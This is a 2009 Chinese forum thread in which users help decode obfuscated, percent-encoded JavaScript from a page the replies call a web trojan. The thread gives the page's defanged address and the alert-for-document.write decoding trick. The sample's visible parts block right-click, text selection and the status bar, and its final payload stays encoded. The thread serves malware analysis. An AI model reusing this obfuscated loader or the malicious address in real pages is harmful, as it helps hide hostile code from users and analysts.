1   1  /  1  页   跳转

[求助] 请问如何解密一个javascript

请问如何解密一个javascript

我用alert替换eval后,仅解出一部分代码,想继续解密时,看到一些0.8160349形式的数值,感觉这些数值出现的位置很怪,不知该如何继续处理。
希望大家指点,谢谢!

我用的工具是FreShow
Code:
<hTmL><hEaD><Meta Name=Encoder Content=HTMLSHIP>
<META HTTP-EQUIV="imagetoolbar" C><noscript><iframe></iframe></noscript><sCrIpT lAnGuAgE="jAvAsCrIpT"><!--
aH54=4502;function jV43(zV71){sR52("%3B%66%6F%72%28%76%61%72%20%77%48%37%36%3D%30%3B%77%48%37%36%3C%31%36%3B%77%48%37%36%2B%2B%29%7B%76%61%72%20%72%65%31%3D%6E%65%77%20%52%65%67%45%78%70%28%7A%4A%38%36%2E%63%68%61%72%41%74%28%77%48%37%36%29%2C%5B%22%67%22%5D%29%3B%62%4B%39%34%3D%62%4B%39%34%2E%72%65%70%6C%61%63%65%28%72%65%31%2C%22%25%22%2B%6F%4C%35%31%2E%63%68%61%72%41%74%28%77%48%37%36%29%29%3B%76%61%72%20%72%65%32%3D%6E%65%77%20%52%65%67%45%78%70%28%7A%4A%38%36%2E%63%68%61%72%41%74%28%77%48%37%36%2B%31%36%29%2C%5B%22%67%22%5D%29%3B%62%4B%39%34%3D%62%4B%39%34%2E%72%65%70%6C%61%63%65%28%72%65%32%2C%22%25%75%22%2B%6F%4C%35%31%2E%63%68%61%72%41%74%28%77%48%37%36%29%29%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%62%4B%39%34%29%29%3B")};jV43(0.8160349,eval(unescape("%74%45%39%36%3D%34%38%3B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%29%7B%66%75%6E%63%74%69%6F%6E%20%5F%64%6D%28%29%7B%72%65%74%75%72%6E%20%66%61%6C%73%65%7D%3B%66%75%6E%63%74%69%6F%6E%20%5F%6D%64%6D%28%29%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%63%6F%6E%74%65%78%74%6D%65%6E%75%3D%5F%64%6D%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%6D%64%6D%28%29%22%2C%38%30%30%29%7D%3B%5F%6D%64%6D%28%29%3B%7D%64%6F%63%75%6D%65%6E%74%2E%6F%6E%63%6F%6E%74%65%78%74%6D%65%6E%75%3D%6E%65%77%20%46%75%6E%63%74%69%6F%6E%28%22%72%65%74%75%72%6E%20%66%61%6C%73%65%22%29%3B%66%75%6E%63%74%69%6F%6E%20%5F%6E%64%6D%28%65%29%7B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%6C%61%79%65%72%73%7C%7C%77%69%6E%64%6F%77%2E%73%69%64%65%62%61%72%29%7B%69%66%28%65%2E%77%68%69%63%68%21%3D%31%29%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%7D%7D%3B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%6C%61%79%65%72%73%29%7B%64%6F%63%75%6D%65%6E%74%2E%63%61%70%74%75%72%65%45%76%65%6E%74%73%28%45%76%65%6E%74%2E%4D%4F%55%53%45%44%4F%57%4E%29%3B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%6D%6F%75%73%65%64%6F%77%6E%3D%5F%6E%64%6D%3B%7D%65%6C%73%65%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%6D%6F%75%73%65%75%70%3D%5F%6E%64%6D%3B%7D%3B%6A%57%36%35%3D%37%37%35%39%3B%79%55%33%30%3D%31%37%36%30%3B%66%75%6E%63%74%69%6F%6E%20%5F%64%77%73%28%29%7B%77%69%6E%64%6F%77%2E%73%74%61%74%75%73%20%3D%20%22%20%22%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%64%77%73%28%29%22%2C%31%30%30%29%3B%7D%3B%5F%64%77%73%28%29%3B%66%4B%34%33%3D%31%31%38%38%3B%66%43%30%3D%38%36%32%30%3B%66%75%6E%63%74%69%6F%6E%20%5F%64%64%73%28%29%7B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%29%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%73%65%6C%65%63%74%73%74%61%72%74%3D%66%75%6E%63%74%69%6F%6E%20%28%29%7B%72%65%74%75%72%6E%20%66%61%6C%73%65%7D%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%64%64%73%28%29%22%2C%37%30%30%29%7D%7D%3B%5F%64%64%73%28%29%3B%64%50%36%30%3D%39%37%36%33%3B%66%54%37%32%3D%34%39%30%34%3B%77%45%37%37%3D%37%37%36%32%3B%69%4A%32%34%3D%38%39%30%32%3B%68%58%38%34%3D%34%35%3B%77%55%34%39%3D%34%30%34%36%3B%6E%46%35%34%3D%36%39%30%34%3B%3B%5F%6C%69%63%65%6E%73%65%64%5F%74%6F%5F%3D%22%68%75%79%75%66%65%6E%67%22%3B%73%52%35%32%3D%66%75%6E%63%74%69%6F%6E%28%73%29%7B%65%76%61%6C%28%75%6E%65%73%63%61%70%65%28%73%29%29%7D%3B%61%59%32%35%3D%37%38%35%3B")),0.870297,sR52("%7A%4A%38%36%3D%22%73%49%77%78%50%48%54%4C%6B%70%69%56%53%6A%4D%4F%58%57%6D%72%68%74%76%52%71%51%6E%6C%4B%6F%4A%4E%22%3B%6F%4C%35%31%3D%22%30%31%32%33%34%35%36%37%38%39%41%42%43%44%45%46%22"),0.9388949,bK94="xCT8L4TDTCxEw0sDsAxCT2TFT4L9xEw0w0sDsAxCT4T9L6w0T9T4xDw2P4T9L6P9P4w2xEw0sDsAxCL3T3L2T9L0L4w0L3L2T3xDw7T8TFTCTCwEL3L7T6w7xExCwFL3T3L2T9L0L4xEsDsAxCL3T3L2T9L0L4w0L3L2T3xDw7T8T5TCTCx1wEL3L7T6w7xExCwFL3T3L2T9L0L4xEsDsAxCwFT2TFT4L9xEw0sDsAxCwFT8L4TDTCxE");//--></sCrIpT></hEaD><boDY><noscript><b><font color=red></font></b></noscript></bOdY></hTmL>

用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11
分享到:
gototop
 

回复:请问如何解密一个javascript

把第二个jV43前的字符串替%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65换成alert,在执行就出来了
gototop
 

回复:请问如何解密一个javascript

这代码地址是什么?
网易博客
QQ空间
优雅、上品,可爱、宽大、稳健、亲切、有礼
gototop
 

回复: 请问如何解密一个javascript



引用:
原帖由 shadowmin 于 2009-7-21 14:00:00 发表
把第二个jV43前的字符串替%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65换成alert,在执行就出来了

原来直接改alert就可以呀,偶以为要转化为%61%6C%65%72%74替换才好,这样更简单了
PM偶时请附上求助贴的地址...
gototop
 

回复:请问如何解密一个javascript

代码地址是 :hxxp://6ihrh.cn/aa/360.htm
但是代码已变化。
gototop
 

回复:请问如何解密一个javascript

这个是不是被坏人把文件植入到网站的啊
gototop
 

回复 5F merryzhao 的帖子

代码变了也在情理之中,不可能是一直不变的,网马本身就是变化很快的,实效性很短,也许你过几天再解密,这个地址有可能就失效了。按照你提供的源文件,解密方法参考2楼即可,另外,可以使用redoce工具的document.write清除直接解密也行。
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT